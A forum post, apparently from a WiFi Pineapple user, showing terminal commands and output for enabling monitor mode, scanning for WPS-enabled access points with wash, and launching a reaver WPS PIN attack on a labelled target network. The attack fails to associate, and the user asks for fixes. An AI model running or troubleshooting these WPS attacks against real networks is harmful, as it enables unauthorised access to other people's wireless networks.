I had the exact same problem, here's what i did to fix this. I made sure wlan1 (try wlan1 for this, btw) was unchecked in the web interface and wasn't connected to anything (because im a newb ). Went into ssh and made sure the adapter still showed in ifconfig (when it didn't show, i rebooted, this fixed it). Then i proceeded as normal with airmon-ng start wlan1, it seemed to work from there with no bad FCS messages. (as seen below)
For some reason when i put the BSSID into Reaver it doesn't associate, what causes this (or better yet what are some fixes)?
root@Pineapple:~# bash
root@Pineapple:~# airmon-ng start wlan1
Interface Chipset Driver
wlan1 Realtek RTL8187L rtl8187 - [phy1]
(monitor mode enabled on mon0)
wlan0-1 Atheros AR9330 ath9k - [phy0]
IEEE Unknown Unknown (MONITOR MODE NOT SUPPORTED)
802.11bgn Unknown Unknown (MONITOR MODE NOT SUPPORTED)
Mode:Master Unknown Unknown (MONITOR MODE NOT SUPPORTED)
Tx-Power=12 Unknown Unknown (MONITOR MODE NOT SUPPORTED)
dBm Unknown Unknown (MONITOR MODE NOT SUPPORTED)
wlan0 Atheros AR9330 ath9k - [phy0]
root@Pineapple:~# wash -i mon0 -C
Wash v1.5.2 WiFi Protected Setup Scan Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
mod by t6_x <t6_x@hotmail.com> & DataHead & Soxrok2212 & Wiire & kib0rg
BSSID Channel RSSI WPS Version WPS Locked ESSID
--------------------------------------------------------------------------------------
54:BE:F7:AC:34:08 1 -54 1.0 No The Target AP
6C:B0:CE:00:DC:83 1 -65 1.0 No Other AP
00:71:C2:8F:20:70 1 -59 1.0 No Other AP
44:32:C8:C4:A7:10 1 -67 1.0 No Other AP
10:0D:7F:66:F7:9E 3 -69 1.0 No Other AP
94:10:3E:54:36:6C 5 -47 1.0 No Other AP
90:EF:68:AF:27:E9 6 -59 1.0 No Other AP
00:26:B8:F4:1A:64 7 -66 1.0 No Other AP
B4:75:0E:97:01:36 11 -62 1.0 No Other AP
20:76:00:90:89:C5 11 -57 1.0 No Other AP
^C
root@Pineapple:~# reaver -i mon0 -c 1 -b 54:BE:F7:AC:34:08 -vv -S
Reaver v1.5.2 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
mod by t6_x <t6_x@hotmail.com> & DataHead & Soxrok2212 & Wiire & kib0rg
[+] Switching mon0 to channel 1
[+] Waiting for beacon from 54:BE:F7:AC:34:08
[!] WARNING: Failed to associate with 54:BE:F7:AC:34:08 (ESSID: The Target AP)
^C
[+] Nothing done, nothing to save.
In other news, what's up with getting an infusion for this? I think i went crazy a bit messing with all this stuff, and an infusion would make this 100x easier.